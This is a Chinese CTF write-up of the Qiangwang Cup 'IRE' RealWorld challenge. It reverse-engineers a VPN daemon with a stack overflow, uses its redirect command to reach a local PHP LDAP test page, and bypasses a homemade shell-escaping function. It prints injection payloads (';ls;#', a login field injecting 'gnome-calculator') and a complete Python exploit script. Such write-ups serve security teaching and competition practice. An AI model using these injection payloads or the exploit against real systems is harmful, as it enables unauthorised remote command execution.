S8强网杯 RealWorld部分 IRE详解
Werqy3 发表于 湖南 CTF 472浏览 · 2024-12-10 06:37

赛题环境配置

拿到赛题:

描述:
题目信息:
题目名称:ire
旗帜名称:IRE
题目描述:附件中给出了一台Ubunt64-bit 22.04.5 LTS虚拟机,环境和展示区相同但密码不同。虚拟机/home/game目录中有start.sh脚本,选手可以执行start.sh脚本启动题目环境(提供的虚拟机中已经通过服务启动)。请挖掘并利用相关程序的漏洞,实现任意命令执行,若靶机弹出计算器则挑战成功。
附件信息:虚拟机用户名和口令为game/game
台上拓扑:交换机同时连接选手攻击机和靶机。靶机中使用vmware(最新版)启动附件中的Ubunt64-bit 22.04.5 LTS环境,并以game用户登录。
展示目标:选手携带自己的攻击机上台,接入靶机所在网段开始进行脆弱性检测,若在规定时间内靶机弹出计算器,即为挑战成功。

展示时操作人员操作步骤:
1) 回复虚拟机快照到初始状态;
2) 测试网络是否能够连通,如网络通联状况正常则可示意选手开始,同时开始计时;
3) 成功或超时后,关闭虚拟机、回复虚拟机快照到初始状态。

配置好vmtool,后就可以开始正式的分析了!
成果启动后,开始寻找漏洞!

开始分析目标文件

开始分析:

#!/bin/bash
LD_PRELOAD=/home/game/libstrongswan.so.0 /home/game/sbgwd

查看服务器所开启的端口

game@box:~/Desktop$ sudo su
[sudo] password for game: 
root@box:/home/game/Desktop# ss -tuln
Netid State  Recv-Q Send-Q         Local Address:Port  Peer Address:PortProcess
udp   UNCONN 0      0                    0.0.0.0:5353       0.0.0.0:*          
udp   UNCONN 0      0              127.0.0.53%lo:53         0.0.0.0:*          
udp   UNCONN 0      0      192.168.126.145%ens33:68         0.0.0.0:*          
udp   UNCONN 0      0                    0.0.0.0:45263      0.0.0.0:*          
udp   UNCONN 0      0                       [::]:5353          [::]:*          
udp   UNCONN 0      0                       [::]:60013         [::]:*          
tcp   LISTEN 0      4096           127.0.0.53%lo:53         0.0.0.0:*          
tcp   LISTEN 0      128                127.0.0.1:631        0.0.0.0:*          
tcp   LISTEN 0      4096                 0.0.0.0:45443      0.0.0.0:*          
tcp   LISTEN 0      511                127.0.0.1:80         0.0.0.0:*          
tcp   LISTEN 0      128                    [::1]:631           [::]:*          
root@box:/home/game/Desktop# ps aux | grep sbgwd
root        1014  0.0  0.2 180428  8032 ?        Sl   14:01   0:00 /home/game/sbgwd
root        2327  0.0  0.0   6612  2260 pts/1    S+   14:05   0:00 grep --color=auto sbgwd

寻找到目标程序的启动方案

先看下是如何启动的,通过系统服务

root@box:/etc# grep -r "start.sh"
systemd/system/myservice.service:ExecStart=/home/game/start.sh
root@box:/etc# cat systemd/system/myservice.service
[Unit]
Description=My Custom Script Service
After=network.target

[Service]
ExecStart=/home/game/start.sh
Restart=on-failure
User=root
Group=root

[Install]
WantedBy=multi-user.target
root@box:/home/game# systemctl status myservice.service
 myservice.service - My Custom Script Service
     Loaded: loaded (/etc/systemd/system/myservice.service; enabled; vendor preset: enabled)
     Active: active (running) since Mon 2024-12-09 17:01:40 UTC; 1min 53s ago
   Main PID: 3991 (start.sh)
      Tasks: 6 (limit: 4514)
     Memory: 1.7M
        CPU: 7ms
     CGroup: /system.slice/myservice.service
             ├─3991 /bin/bash /home/game/start.sh
             └─3992 /home/game/sbgwd

Dec 09 17:01:40 box sbgwd[3992]: IPv6 enabled ens33
Dec 09 17:01:40 box sbgwd[3992]: try bind interface ANY
Dec 09 17:01:40 box sbgwd[3992]: socket count 1
Dec 09 17:01:40 box sbgwd[3992]: 0 : family 2
Dec 09 17:01:40 box sbgwd[3992]: create_socket_and_bind : 6
Dec 09 17:01:40 box sbgwd[3992]: listen socket count 1
Dec 09 17:01:40 box sbgwd[3992]: listen socket 6
Dec 09 17:01:40 box sbgwd[3992]: current_clients=0 max_clients=0
Dec 09 17:01:40 box sbgwd[3992]: 2.0.0.113 (20231117) ready
Dec 09 17:01:40 box sbgwd[3992]: accept socket 6
root@box:/home/game# systemctl stop myservice.service
root@box:/home/game# systemctl status myservice.service
 myservice.service - My Custom Script Service
     Loaded: loaded (/etc/systemd/system/myservice.service; enabled; vendor preset: enabled)
     Active: inactive (dead) since Mon 2024-12-09 17:06:36 UTC; 1s ago
    Process: 3991 ExecStart=/home/game/start.sh (code=killed, signal=TERM)
   Main PID: 3991 (code=killed, signal=TERM)
        CPU: 9ms

Dec 09 17:01:40 box sbgwd[3992]: 0 : family 2
Dec 09 17:01:40 box sbgwd[3992]: create_socket_and_bind : 6
Dec 09 17:01:40 box sbgwd[3992]: listen socket count 1
Dec 09 17:01:40 box sbgwd[3992]: listen socket 6
Dec 09 17:01:40 box sbgwd[3992]: current_clients=0 max_clients=0
Dec 09 17:01:40 box sbgwd[3992]: 2.0.0.113 (20231117) ready
Dec 09 17:01:40 box sbgwd[3992]: accept socket 6
Dec 09 17:06:36 box systemd[1]: Stopping My Custom Script Service...
Dec 09 17:06:36 box systemd[1]: myservice.service: Deactivated successfully.
Dec 09 17:06:36 box systemd[1]: Stopped My Custom Script Service.

检查系统日志了解sbgwd的运行

手动启动服务:

root@box:/home/game# LD_PRELOAD=/home/game/libstrongswan.so.0 strace -i /home/game/sbgwd
#可以找到的输出,权限不足直接开启su
[00007f6c630e65b4]openat(AT FDCWD,"/etc/ssl/private/ssgw ssl.key",O RDONLY)=-1
EACCES (Permission denied)

#发现端口已经被启动
[00007f61e4ef74bb] bind(6, {sa_family=AF_INET, sin_port=htons(45443), sin_addr=inet_addr("0.0.0.0")}, 16) = -1 EADDRINUSE (Address already in use)

直接通过查看日志来定位程序运行的位置:

root@box:/home/game# sudo journalctl -f

开始逆向分析sbgwd程序

将二进制文件拿出来后就可以开始IDA逆向分析了!

__int64 __fastcall main(unsigned int a1, char **a2, char **a3)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  memset(&stru_23340, 0, 0x908uLL);
  ptr = 0LL;
  ifa = 0LL;
  ai = 0LL;
...
  library_deinit();
  syslog(7, "exit");
  closelog();
  return v5;
}

逆向分析出该程序为VPN,锁定vpn的密钥和证书

难点是容易被误导和命令执行
通过逆向后发现程序是一个 vpn 程序,但是需要先利用题目提供的 key 和 cert 进行交互
sub_B9E0 函数是主要函数,在这里实现了数据读取和 VPN 菜单功能

inet_ntop(8 * (ptr->opt5_flag == 1) + 2, &ptr[1], buf, 0x2Eu);
    switch ( __ROL2__(*(_WORD *)ptr->opt, 8) )
    {
      case 0:
        syslog(7, "%lx MAJOR_COMMAND_AUTH", v13);
        return (unsigned int)VPN_AUTH(a1, a4, a5, a6, buf, ptr, 0);// LOGIN
      case 1:
        syslog(7, "%lx MAJOR_COMMAND_LOG", v13);
        return (unsigned int)sub_B8D0((__int64)ptr, a6, buf);// Lgout
      case 2:
        v17 = -1;
        syslog(7, "%lx MAJOR_COMMAND_POLICY", v13);
        if ( !ptr->opt7_flag )
          return (unsigned int)COMMAND_POLICY(a1);
        return v17;
      case 3:
        syslog(7, "%lx MAJOR_COMMAND_SESSION", v13);
        v20 = __ROL2__(ptr->opt7_flag, 8);
        if ( v20 )
        {
          if ( v20 == 1 )
            v17 = SESSION_1(a1, ptr);
          else
LABEL_29:
            v17 = -1;
        }
        else
        {
          v17 = SESSION_2(a1);
        }
        break;
      case 5:
        syslog(7, "%lx MAJOR_COMMAND_SET_REDIRECT_INFO", v13);
        v17 = SET_REDIRECT(ptr, a7);            // 重定向信息命令 栈溢出漏洞
        syslog(7, "%lx MAJOR_COMMAND_SET_REDIRECT_INFO socket... %d", v13, *a7);
        return v17;
      case 6:
        syslog(7, "%lx MAJOR_COMMAND_VPN_AUTH", v13);
        return (unsigned int)VPN_AUTH(a1, a4, a5, a6, buf, ptr, 1);// VPN 认证
      case 7:
        syslog(7, "%lx MINOR_COMMAND_GET_VERSION", v13);// 获取版本
        return (unsigned int)GET_VERSION(a1, ptr);
      default:
        syslog(7, "%lx unknown command...", v13);
        goto LABEL_29;
    }

上面是功能菜单,通过逆向,大概确定其发送的信息格式如下

b'SlSp' + p32(data_size) + p8(version) + p8(VPN_auth_flag) + b'b'*10 + p16(opt) + p16(opt7_flag) + p32(ip)

其中 5 功能存在栈溢出漏洞

v5 = strchr(v4, ':');
  v6 = v5;
  if ( v5 )
  {
    if ( v5 != v4 )
      memcpy(host, v4, v5 - v4); // 栈溢出
    syslog(7, "redirect host %s", (const char *)host);
    port = strtol(v6 + 1, 0LL, 10);
    syslog(7, "redirect port %d", port);
    v8 = proxy_connect((char *)host, port, (int)qword_234C8);
    *a2 = v8;
    syslog(7, "redirect socket %d", v8);
    return 3LL;
  }

但是无法泄露内存地址无法进行正常攻击
锁定

密钥和证书用于联通VPN隧道

可以在日志里面找到:

...
Dec 09 17:07:41 box sbgwd[4030]: listen_port : 45443
Dec 09 17:07:41 box sbgwd[4030]: private_key_path : /etc/ssl/private/ssgw_ssl.key
Dec 09 17:07:41 box sbgwd[4030]: server_cert_path : /etc/ssl/certs/ssgw_cert.pem
...

开始Web渗透

发现连接vpn后可以访问80端口的web服务

但是后面发现 5 功能是 VPN 的连接功能,可以连接到靶机中只有本地开放的端口

发现存在命令注入漏洞在php

发现开放了端口,可以找到这个php文件,存在漏洞!

root@box:/home/game# find / -name ldapTest.php

/var/www/html/ldapTest.php
root@box:/home/game# cat /var/www/html/ldapTest.php
<?php

function getSchemaDN($uri,$tls) {
    $cmd = sprintf(" ldapsearch -x -LLL -o ldif-wrap=no -H %s %s -s base subschemaSubentry",$uri,$tls);
    $ldap_search = shell_exec($cmd);
    preg_match('/subschemaSubentry:\s*(.*)/', $ldap_search, $match);
    if(count($match) > 0) {
        return trim($match[1]);
    }

    return false;
}

而本地 80 则开放了一个端口服务,其中的 ldapTest.php 存在命令执行漏洞

代码:

<?php

function getSchemaDN($uri,$tls) {
    $cmd = sprintf(" ldapsearch -x -LLL -o ldif-wrap=no -H %s %s -s base subschemaSubentry",$uri,$tls);
    $ldap_search = shell_exec($cmd);
    preg_match('/subschemaSubentry:\s*(.*)/', $ldap_search, $match);
    if(count($match) > 0) {
        return trim($match[1]);
    }

    return false;
}

function isAttrExists($attr,$uri,$tls,$base,$user,$pass) {
    $cmd = sprintf("ldapsearch -o ldif-wrap=no -H %s %s -x -D %s -b \"%s\" -w %s -s base -a always \"(objectClass=*)\" \"attributeTypes\"",$uri,$tls,$user,$base,$pass);
    $ldap_search = shell_exec($cmd);
    $attr_string_array = explode(")",$ldap_search);
    $attr_array = array();
    foreach($attr_string_array as $key => $val) {
        preg_match('/attributeTypes:.*NAME \(?\s?\'(.*?)\'.*/', $val, $match);
        if(count($match) > 0) {
            if(strcasecmp($attr,$match[1]) == 0) {
                return true;
            }
        }
    }

    return false;
}

function getPassword() {
    if($password == "") {
        return "";
    }

    return $password;
}

function escapeshellarg_jp($p_arg) {
    $escape_flg = false;
    if(preg_match("/^'(.*)'$/", $p_arg, $matches) === 1) {
        $p_arg = $matches[1];
    }

    $offset = -1;
    while(++$offset < strlen($p_arg)) {
        $char1byte = $p_arg[$offset];
        if($escape_flg == false && $char1byte == "\\") {
            $escape_flg = true;
            continue;
        }
        if($escape_flg == false && $char1byte == "'") {
            $p_arg = substr($p_arg, 0, $offset) . "\\" . substr($p_arg, $offset);
            $escape_flg = true;
            continue;
        }

        if($escape_flg == true) {
            $escape_flg = false;
            continue;
        }
    }
    $p_arg .= ($escape_flg == true) ? "\\" : '';
    $p_arg  = "'$p_arg'";

    return $p_arg;
}

function getResultMessage($result) {
    $result_array = array();
    if(strlen($result) == 0) {
        $result_array["code"] = 4;
        $result_array["message"] = "<label class=\"err_msg\">" . __("Ldap_Server_Auth_Failed_Item") . "</label><br/>";
    } elseif(strpos($result, 'result: 0 Success') === false) {
        $result_array["code"] = 3;
        $result_array["message"] = "<label class=\"err_msg\">" . __("Inavlid_Search_Condition_Item") . "</label><br/>";
    } elseif(strpos($result, '# numEntries: ') === false) {
        $result_array["code"] = 2;
        $result_array["message"] = "<label class=\"err_msg\">" . __("Ldap_User_Not_Found_Item") . "</label><br/>";
    } else {
        $result_array["code"] = 0;
        $result_array["message"] = "<label class=\"attention\">" . __("Ldap_Test_Success_Item") . "</label><br/>";
    }

    return $result_array;
}

$request = json_decode($_POST["myData"]);
$response = array();
$index = 0;
foreach($request->servers as $server) {
    if($server->host != "") {
        $url = escapeshellarg(($server->tls == true ? "ldaps" : "ldap") ."://$server->host:$server->port");
        $ldap_test_filter = str_replace("%s", $request->target, $request->filter);

        $dn = escapeshellarg_jp($request->dn);
        $password = escapeshellarg_jp($request->password);
        $base = escapeshellarg_jp($request->base);
        $filter = escapeshellarg_jp($ldap_test_filter);
        $subtree = escapeshellarg_jp($request->subtree);
        $attr = escapeshellarg_jp($request->target_attr);
        if($request->password == "") {
            $password = escapeshellarg_jp(getPassword());
        }

        $ldap_search = shell_exec("ldapsearch -A -x -H $url " .($server->tls == true ? "-Z " : ""). "-D $dn -w $password -b $base -s $subtree $filter");
        $response[$index] = getResultMessage($ldap_search);
        if($response[$index]["code"] == 0) {
            $schema = getSchemaDN($url,$server->tls == true ? "-Z " : "");
            if(!$schema) {
                $response[$index]["code"] = 5;
                $response[$index]["message"] = "<label class=\"err_msg\">" . __("Ldap_Check_Attr_Failed_Item") . "</label><br/>";
            } else {
                $found = isAttrExists($request->target_attr,$url,$server->tls == true ? "-Z " : "",$schema,$dn,$password); // for OpenLDAP
                if(!$found) {
                    $response[$index]["code"] = 1;
                    $response[$index]["message"] = "<label class=\"err_msg\">" . __("Ldap_Attr_Not_Found_Item") . "</label><br/>";
                }
            }
        }
    }

    $index++;
}
header('Content-Type: application/json');
echo json_encode($response);
?>

漏洞点:

$request = json_decode($_POST["myData"]);
$response = array();
$index = 0;
echo "foreash\n";
echo "foreash".$request;
foreach($request->servers as $server) {
    echo "server-host\n";
    echo $server->host;
    if($server->host != "") {
        $url = escapeshellarg(($server->tls == true ? "ldaps" : "ldap") ."://$server->host:$server->port");
        $ldap_test_filter = str_replace("%s", $request->target, $request->filter);

        $dn = escapeshellarg_jp($request->dn);
        $password = escapeshellarg_jp($request->password);
        $base = escapeshellarg_jp($request->base);
        $filter = escapeshellarg_jp($ldap_test_filter);
        $subtree = escapeshellarg_jp($request->subtree);
        $attr = escapeshellarg_jp($request->target_attr);
        if($request->password == "") {
            $password = escapeshellarg_jp(getPassword());
        }

        $ldap_search = shell_exec("ldapsearch -A -x -H $url " .($server->tls == true ? "-Z " : ""). "-D $dn -w $password -b $base -s $subtree $filter");
        $response[$index] = getResultMessage($ldap_search);
        if($response[$index]["code"] == 0) {
            $schema = getSchemaDN($url,$server->tls == true ? "-Z " : "");
            if(!$schema) {
                $response[$index]["code"] = 5;
                $response[$index]["message"] = "<label class=\"err_msg\">" . __("Ldap_Check_Attr_Failed_Item") . "</label><br/>";
            } else {
                $found = isAttrExists($request->target_attr,$url,$server->tls == true ? "-Z " : "",$schema,$dn,$password); // for OpenLDAP
                if(!$found) {
                    $response[$index]["code"] = 1;
                    $response[$index]["message"] = "<label class=\"err_msg\">" . __("Ldap_Attr_Not_Found_Item") . "</label><br/>";
                }
            }
        }
    }

    $index++;
}

其中的 escapeshellarg_jp 是出题人自己实现的,可以进行绕过,这是因为字符串外面虽然会被加上 ',我们输入字符串中的 ' 也会被转义成 \' ,但是还是能够起到结束前面第一个 ' 包含字符串的作用,并利用 # 注释后面的 shell 命令,就可以进行任意命令执行

比如控制 password 为

';ls;#

这样 password 会被转化成 \\';ls;# 就成了 xx '\\'; ls; #' 就可以执行 ls 命令了

分析完毕开始打通它上py脚本

exp

import socket
import ssl
from pwn import *
import time
import json

def create_ssl_context(certfile, keyfile):
    context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
    context.check_hostname = False 
    context.verify_mode = ssl.CERT_NONE
    context.load_cert_chain(certfile=certfile, keyfile=keyfile) 
    return context

def create_ssl_connection(hostname, port, context):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ssl_sock = context.wrap_socket(sock, server_hostname=hostname)
    ssl_sock.connect((hostname, port))
    return ssl_sock

hostname = '192.168.128.137'
port = 45443

data = '''username=admin'";gnome-calculator;"test1";"&password=123'''
content_length = len(data)

request = f"POST /login.php HTTP/1.1\r\n"
request += f"Host: {hostname}\r\n"
request += "Content-Type: application/x-www-form-urlencoded\r\n"
request += f"Content-Length: {content_length}\r\n"
request += "Connection: close\r\n"
request += "\r\n"
request += data

print(request.encode())

def main():
    certfile = './csr'
    keyfile = './key'

    ssl_context = create_ssl_context(certfile, keyfile)

    print(f'Connecting to {hostname}:{port}')

    ssl_sock = create_ssl_connection(hostname, port, ssl_context)

    try:
        # p32(data_size) + p8(version) + p8(VPN_auth_flag) + b'b'*10 + p16(opt) + p16(opt7_flag) + p32(ip)
        data = b''
        #data += b'g'*(0xa8 + 0xc) + p8(0xd1) + b':'
        data += b'a'*0x10
        data += b'127.0.0.1:80'

        pl = b'SlSP' + p32(len(data),endian='big') + p8(1) + p8(0) + b'b'*5 + p8(1) + b'b'*4 + p16(5, endian='big')+ p16(0x1, endian='big') #+ socket.inet_pton(socket.AF_INET, '192.168.128.137')
        pl += data

        print('pl size -> ' + hex(len(pl)))
        print('pl hex -> ' + pl.hex())
        ssl_sock.sendall(pl)

        sleep(1)
        pl = request.encode()
        ssl_sock.sendall(pl)

        response = ssl_sock.recv(4096)
        response += ssl_sock.recv(4096)

        print(b'response -> ' + response)
        #print(response.decode())


    finally:
        ssl_sock.close()

if __name__ == '__main__':
    main()
0 条评论
某人
表情
可输入 255